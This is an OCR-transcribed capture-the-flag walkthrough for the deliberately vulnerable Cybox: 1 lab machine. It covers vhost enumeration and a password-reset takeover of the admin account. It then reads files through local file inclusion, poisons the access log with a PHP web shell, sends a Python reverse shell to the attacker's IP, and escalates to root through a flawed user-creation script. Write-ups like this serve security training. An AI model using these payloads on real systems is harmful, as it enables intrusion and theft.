Twitter : @ALIENUM
Name : alienum

Cybox: 1 — Walkthrough

VULNHUE

VULNERABLEBY DESIGN

Level : Medium



Twitter : @ALIENUM
Name : alienum

December 5, 2020

Contents

1. Virtual Hosts Discovery

2. The Path to Local File Inclusion

3. Local File Inclusion to Remote Code Execution
4. Privileges Escalation



Twitter : @ALIENUM
Name : alienum

1. Virtual Hosts Discovery

Port 80, at the end of the page you will find the admin’s email

© Copyright 2020 CYBOX. All Rights Reserved.
Contact:

Hostname : cybox.company

nano /etc/hosts

10.0.2.101 cybox.company

Virtual Host Scan using Gobuster

Gobuster vhost -u cybox.company -w subdomains-toplmillion-5000.txt
Found: dev.cybox.company (Status: 200) [Size: 209]

Found: webmail.cybox.company (Status: 302) [Size: 0]

Found: monitor.cybox.company (Status: 302) [Size: 0]

Found: register.cybox.company (Status: 200) [Size: 1252]

Found: ftp.cybox.company (Status: 200) [Size: 5295]

nano /etc/hosts

10.0.2.101 cybox.company
10.0.2.101 dev.cybox.company
10.0.2.101 webmail.cybox.company
10.0.2.101 monitor.cybox.company
10.0.2.101 register.cybox.company

10.0.2.101 ftp.cybox.company
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2. The Path to Local File Inclusion

Step 1 : register.cybox.company [Create new user]

cybox.company w o In @

cybox.company = @ G % N @

Create users

Create users

alienum CREATE

alienum@cybox.company has been
created successfully. The credentials
are alienum:alienum. You should
change your default password for
security.

CREATE

Email = alienum@cybox.company
Default credentials = alienum:alienum

Step 2 :_monitor.cybox.company [Register]

cybox.company. aee W I

Monitonr

Register

alienum

alienum@cybox.company

Register
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Step 3 : monitor.cybox.company [Reset password]

cybox.company

Donitonr

Reset password

bl ienum@cybox.company

Send link

Step 4 : webmail.cybox.company [Check the email for the reset link]

Credentials = alienum:alienum from Step 1

cybox.company

wwebrmail
for Message
nUES List | Unread | Delete
Subject
SquirrelMail version 1.4.22 From:
By the SquirrelMail Project Team Date:
SquirrelMail Login To:
Priority:
Name: alienum Options:

Squirbr\e'Ma"! Current Folder: INBOX
Compose Addresses Folders Options Search Help

Previous | Next Forward | Forward as Attachme

Update Password - Cybox Monitor

"daemon" <daemon@cybox>

Sat, December 5, 2020 2:50 am

alienum@cybox.company

Normal

View Full Header | View Printable Version | Download this as a file

Password: eeessee

Hello user, here is the link to update your password in Cybox Monitor:
http://monitor.cybox. company/updatePasswordRequest . php?email=alienum@cybox. company

Login

Reset link

http://monitor.cybox.company/updatePasswordRequest.php?email=a

lienum@cybox.company
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Step 5 : monitor.cybox.company [Update password for user admin]

Inspect element, change the value of the hidden input with id email
from alienum@cybox.company to admin@cybox.company and change
the get parameter email from the link as before. After that, insert the
password that you want and submit it.

Change password - Monitor X -+

C @

Change password

Update password

W O Inspector [] Console [ Debugger P} Metwork {3} Style Editor () Performance { Memory E Storage 'i' Accessibility

<!DOCTYPE htmi=
<html lang="en"= [scroll
b <head:> [= head
w <body class="text-center bg-dark"= [flex
w=div class="container"=
w<=form class="form" action="j/updatePasswordRequest.php” method="POST"=>
<h2=Monitor=/h2=
<p=Change password</p=
<input id="email" type="hidden" alue="admin@cybox.company” name="email"=>
b =div class="form-group "=l=</dij

New credentials for user admin = admin@cybox.company : alienum

Step 6 : monitor.cybox.company [Login as Admin]

Credentials 2 admin@cybox.company : alienum

Monitonr

Login

admin@cybox.company

Welcome, Admin.

Entry Departure

There are no records.
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Step 7 : monitor.cybox.company [Admin panel + view page source]

Admin panel - Monitor http://monitor.cybox.comp= X+
< c @
C @ view-source:http://monitc
Admin panel
<html>
<head=
<meta charset="
<title=Admi
<link href: )
</head=>
<body>

<hl=Admin panel</hl>

<div class="construction"=></div=
<hl=Under construction</hl=

<a href="../index.php”"=Home=/a> | <a hre

Under construction :ﬁ:ﬂ{:

Home | Sign out

The “styles.php?style="is vulnerable to LFI. Let us try to read default
files like /etc/passwd.

Step 8 : [monitor.cybox.company] [LFI]

Null Byte Technique

Null byte injection bypasses application filtering within web applications
by adding URL encoded “Null bytes” such as %00. Typically, this bypasses
basic web application blacklist filters by adding additional null characters
that are then allowed or not processed by the backend web application.

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:
sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbhin/nologin man:x:6:12:man:/var/cache/man:/u:
/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/shin/nologin uucp
/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/shin/nologin backup:x:34
/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats
(admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/monexistent:/usr/sbin/nologin systemd-timesync:
Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/ne
resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,
syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false 1xd:x:106:65534::/var/lib/lxd/:/bin/fals
jrun/dbus:/bin/false uuidd:x:108:112:;/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false cybo
/bin/bash mysql:x:1001:1001::/home/mysql: postfix:x:111:118::/var/spool/postfix:/bin/false courier:x:112:120::/var/lib/cot
daemon,,,:/srv/ftp:/bin/false admin:x:1002:1002::/home/admin:/bin/bash alienum:x:1003:1003::/home/alienum:/bin/bash

http://monitor.cybox.company/admin/styles.php?style=../../../../..]../etc
/passwd%00
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Step 9 : [ftp.cybox.company] [Login]

Try to login to ftp.cybox.company

net2ftp - awi fa cybox.company.

net2ftp a web based FTP client

ftp.cybox.company

Basic FTP login

FTP server
ftp.cybox.company 21 o~
LLS\}‘ An error has occured

Username

alienum| Enter your username

Password Unable to connect to FTP server ftp.cybox.company on port 21.

LA LI LY
Are you sure this is the address of the FTP server? This is often different from that of
the HTTP (web) server. Please contact your ISP helpdesk or system adminisirator for
help.

Privacy notices
Please enter your email address as identifier to give you the rigt of access and erasure

alienum@cybox.company — Go back or Go to the login page

| agree to the Cookie Policy

Login

Does not matter if we cannot login, just press the button.

Step 10 : [monitor.cybox.company] & [dev.cybox.company] [Access log]

Go to dev.cybox.company

phpinfo()

‘e cybox.company
Timeouts Connection: 300 - Keep-Alive: 5
Virtual Server [Yes
fopt/bitnamifapache2

[Apache2 Server Root] = /opt/bitnami/apache2
[Access log] = /opt/bitnami/apache2/logs/access_log

Go to the monitor.cybox.company again and read the file, you can see
that contains the log from the ftp.cybox.company login attempt. This
very useful for us because we can inject code into the access log file.
This technique called log poisoning.

G view-source:http://monitor.cybox.companyfadmin/etylac nhn?etyla= 1 1 1 I I Inpt/bitnami/apache2/logs/access_log%00

[05/Dec/2020:04:33:41 +0100] "GET / HTTP/1.1" 280 19636 "-" "Mozillas5.@ (Windows NT 18.8; rv:78.8) Gecko/201680101 Firefox/78.8"
[05/Dec/2020:04:34:09 +8100] "POST /index.php HTTP/1.1" 200 12830 "http://ftp.cybox.company/" "Mozilla/5.@ (Windows NT 10.@; rv:78.0) Get
[05/Dec/2020:04:34:11 +8100] "GET /skins/shinra/img/knobs-icons/Knob%20Cancel.png HTTP/1.1" 200 4348 "http://ftp.cybox.company/skins/shir

http://monitor.cybox.company/admin/styles.php?style=../../../../../../op
t/bitnami/apache?2/logs/access 1og%00
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3. Local File Inclusion to Remote Code Execution

Step 1 : [ftp.cybox.company] [User Agent Inject PHP script]

Go to the ftp.cybox.company = inspect element - Network = reload
—> click on the first GET request.

Default Request

Login

Basic FTP login English ~

Features

Host: ftp.cybox.company

User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive

Cookie: net2ftpcookie_consent_necessary=0; net2ftpcookie_consent_preferences=0;
net2ftpcookie_consent_statistics=0; net2ftpcookie_consent_personalized_ads=0;
net2ftpcookie_consent_nonpersonalized_ads=0

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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Edited Request

Edit and Resend

User-Agent: <?php system($_GET['cmd']);?>

Host: ftp.cybox.company

User-Agent: <?php system(S_GET['cmd']);?>

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

DNT: 1

Connection: keep-alive

Cookie: net2ftpcookie consent_necessary=0; net2ftpcookie_consent_preferences=0;
net2ftpcookie_consent_statistics=0; net2ftpcookie_consent_personalized _ads=0;
net2ftpcookie_consent_nonpersonalized ads=0

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0

Press the send.

Step 2 : [monitor.cybox.company] [RCE]

http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/ac
cess_log%00&cmd=id

tp://monitor.cybox.com

¢ @ > cechttp:/ mpany/adm s.php?s c bitnami/apache2/log ess_log%00&cmd=id

18.8.2.13 - - [085/Dec/20820:15:41:26 +0100] "GET / HTTP/1.1" 280 19636 "-" "Mozilla/5.8 (Windows NT 10.8; rv:78.8) Gecko/20188181 Firefox/78.8"

18.8.2.13 - - [85/Dec/20820:15:42:51 +0106] "GET / HTTP/1.1" 280 19636 "-" "Mozilla/5.8 (Windows NT 10.8; rv:78.8) Gecko/20188181 Firefox/78.8"

16.0.2.13 - - [85/Dec/2020:15:42:52 +0160] "GET /skins/shinra/js/jquery-ui-1.8.13.custom.min.js HTTP/1.1" 384 - "http://ftp.cybox.company/" "Mozilla/5.@ (Window:
10.0.2.13 - - [05/Dec/2020:15:42:52 +0100] "GET /skins/shinra/js/custom.js HTTP/1.1" 304 - "http://ftp.cybox.company/" "Mozilla/5.@ (Windows NT 10.8; rv:78.0) G¢
16.0.2.13 - - [05/Dec/2020:15:42:52 +0100] "GET /skins/shinra/js/superfish-1.4.8/js/hoverIntent.js HTTP/1.1" 304 - "http://ftp.cybox.company/" "Mozilla/5.8 (Winc
18.0.2.13 - - [05/Dec/2020:15:42:52 +0100] "GET /skins/shinra/js/superfish-1.4.8/js/superfish.js HTTP/1.1" 364 - "http://ftp.cybox.company/" "Mozilla/5.0 (Windov
10.6.2.13 - - [85/Dec/2020:15:42:52 +0180] "GET /skins/shinra/js/superfish-1.4.8/js/supersubs.js HTTP/1.1" 384 - "http://ftp.cybox.company/" "Mozilla/5.0 (wWindow
10.6.2.13 - - [85/Dec/2020:15:42:52 +0180] "GET /skins/shinra/js/jquery-1.5.1.min.js HTTR/1.1" 384 - "http://ftp.cybox.company/" "Mozilla/5.6 (Windows NT 10.8; 1
10.8.2.13 - - [85/Dec/2020:15:42:52 +0180] "GET /skins/shinra/js/poshytip-1.8/src/jquery.poshytip.min.js HTTP/1.1" 304 - "http://ftp.cybox.company/" "Mozilla/5.(
16.0.2.13 - - [85/Dec/2020:15:42:53 +0160] "GET /skins/shinra/img/logo.png HTTP/1.1" 304 - "http://ftp.cybox.company/" "Mozilla/5.@ (Windows NT 10.8; rv:78.0) Ge
16.0.2.13 -

- [05/Dec/2020:15:44:48 +0100] "GET / HTTP/1.1" 200 19636 "-" "uid=1(daemen) gid=l(daemon) groups=1(daemon

10
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Step 3 : [monitor.cybox.company] [Reverse Shell]

My IP :10.0.2.13

Reverse Shell

http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apach
e2/logs/access log%00&cmd= python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((
"10.0.2.13",443));0s.dup2(s.fileno(),0); os.dup2(s.fileno(),1);0s.dup2(s.fileno(),2);import
pty; pty.spawn("/bin/bash")'

Listen

sudo nc -lvnp 443

http://monitor.cybox.co

X @

B+ h Terminal Help

view-source:http://monitor.cybox.company/admin/styles.php?style N @

e

10.0.2.13 - - [065/Dec/2020:15:41:26 +0180] "GET / HTTP/1.1" 200 19636 "Mozilla/5.8 (Windows NT 10.0; rv:78.0) Gecko/2010016
10.0.2.13 - - [05/Dec/2020:15:42:51 +0160] "GET / HTTP/1.1" 200 19636 "-" "Mozilla/5.@ (Windows NT 10.0; rv:78.0) Gecko/2010016
10.0.2.13 - - [B85/Dec/2020:15:42:52 +0180] "GET /skins/shinra/js/jquery-ui-1.8.13.custom.min.js HTTP/1.1" 384 - "http://ftp.cybils
10.0.2.13 - - [05/Dec/2020:15:42:52 +0100] "GET /skins/shinra/js/custom.js HTTR/1.1" 304 - "http://ftp.cybox.company/" "Mozillg
18.0.2.13 - - [85/Dec/2020:15:42:52 +0180] "GET /skins/shinra/js/superfish-1.4.8/js/hoverIntent.js HTTP/1.1" 304 - "http://ftp.
10.0.2.13 - - [085/Dec/2020:15:42:52 +01080] "GET /skins/shinra/js/superfish-1.4.8/js/superfish.js HTTP/1.1" 364 - "

10.0.2.13 - - [05/Dec/2020:15:42:52 +0100] "GET /skins/shinra/js/superfish-1.4.8/js/supersubs.js HTTP/1.1" 304 - "

18.0.2.13 - - [085/Dec/2020:15:42:52 +0180] "GET /skins/shinra/is/iguerv-1.5.1.min.is HTTP/1.1" 304 - "http://ftp.cvbox.companv.

User.txt

Alienum - C
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4. Privileges Escalation

find / -perm -u=s -type f 2>/dev/null

12
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Cat register

#!/bin/bash
USERNAME=S$1

if [ 1 "SUSERNAME" ]

then
/bin/echo -e "Syntax: Username"
exit 1

fi

if [[ "SUSERNAME" =~ [*a-z] ]]; then
/bin/echo -e "Think twice before putting something :)"
exit 0

fi

if id "SUSERNAME" >/dev/null 2>&1; then
/bin/echo -e "User already exists :("
exit 0

fi

if [ 1 "S(cat /etc/group | grep -w "SUSERNAME")" ]
then

Jusr/sbin/groupadd "SUSERNAME" 2>/dev/null
Fi

Jusr/sbin/useradd -p "S(/usr/bin/openssl| passwd -1 "SUSERNAME")" -m "SUSERNAME" -g
"SUSERNAME" -s /bin/bash 2>/dev/null

Jusr/bin/maildirmake /home/"SUSERNAME"/Maildir/ -R 2>/dev/null
/bin/chown "SUSERNAME":"SUSERNAME" /home/"SUSERNAME"/Maildir/ -R 2>/dev/null

if [S? -eq 0 ]; then

/bin/echo -e "SUSERNAME@cybox.company has been created successfully. The credentials
are SUSERNAME:SUSERNAME. You should change your default password for security."
else

/bin/echo -e "The string must contain a maximum of 32 characters."
fi

The line with the /usr/shin/groupadd "SUSERNAME" 2>/dev/null of the register
script is vulnerable. Because creates a user from the parameter that we give and this
is added to the group with the same name. So, we are able to create a user named
sudo which will belong to the sudo group.

13
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daemon@cybox:/optS Is

Is

bitnami register registerlauncher

daemon@cybox:/optS ./registerlauncher sudo

./registerlauncher sudo

sudo@cybox.company has been created successfully. The credentials are sudo:sudo. You should change your
default password for security.

daemon@cybox:/optS su sudo

su sudo

Password: sudo

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

sudo@cybox:/optS sudo -I
sudo -
[sudo] password for sudo: sudo

Matching Defaults entries for sudo on cybox:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sudo may run the following commands on cybox:
(ALL : ALL) ALL

sudo@cybox:/optS sudo -u root /bin/bash

sudo -u root /bin/bash

root@cybox:/opt#

Root.txt

‘alienum’
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